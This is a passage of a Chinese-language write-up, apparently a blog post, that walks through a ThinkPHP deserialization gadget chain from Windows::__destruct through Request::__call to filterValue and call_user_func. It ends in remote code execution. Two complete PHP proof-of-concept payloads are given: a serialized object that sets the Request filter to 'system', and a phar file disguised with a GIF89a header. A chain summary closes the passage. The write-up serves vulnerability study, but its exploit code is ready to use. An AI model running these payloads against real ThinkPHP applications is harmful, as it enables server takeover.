$this->data = ["aaaa"=>new Request()];
}
}

接着看到call_user_func_array函数,这个函数允许我们调用系统函数,但因为通过__call传入的参数$args不符合要求,我们需要进行转化。事实上在Request类中,存在一个isAjax方法。通过这个方法掉用param()方法再通过param()方法调用input()方法再在input()方法中通过array_walk_recursive()函数调用filterValue()方法,在filterValue()方法中实现rce。

下面是跟踪的过程:

进入call_user_func_array调用的isAjax()方法中($this->hook[$method]的值为[$this,"isAjax"])

image-20240116170504949

进入param()方法

image-20240116170703456

进入input()方法

image-20240116170819717

通过array_walk_recursive()函数调用filterValue()方法

image-20240116170915613

成功rce

image-20240116171013746

所以最终完整的payload就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
namespace think{
abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}
class Request
{
protected $param;
protected $hook;
protected $filter;
protected $config;
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->param = ["calc"];
}
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
echo (base64_encode(serialize(new Windows())));
}
?>

为了满足phar反序列化利用的要求我们可以增加一些代码,生成含有phar序列化的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace think{
abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}
class Request
{
protected $param;
protected $hook;
protected $filter;
protected $config;
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->param = ["calc"];
}
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
@unlink('shell.jpg');
$phar = new Phar("shell.phar"); //
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Windows();
$phar->setMetadata($object);
$phar->addFromString("a", "a"); //添加要压缩的文件

$phar->stopBuffering();

echo (base64_encode(serialize(new Windows())));
}
?>

漏洞总结:

该反序列化漏洞的利用链汇总

1
2
3
4
5
6
7
8
9
10
11
起点:任意反序列化点
-->Windows::__destruct
-->Windows::removeFiles
-->file_exists(将类当作字符串触发__toString)
-->Pivot::__toString(方法继承于Model类而Model类的__toString来自于Conversion,下面的toJson()也是同样的)
-->Pivot::toJson
-->Request::visible(Request类没有visible方法触发__call)
-->Request::__call
-->通过Request类的三个方法isAjax、param、input
-->Request::filterValue
终点:-->call_user_func,最终触发rce

总结:蛮难的。。。。。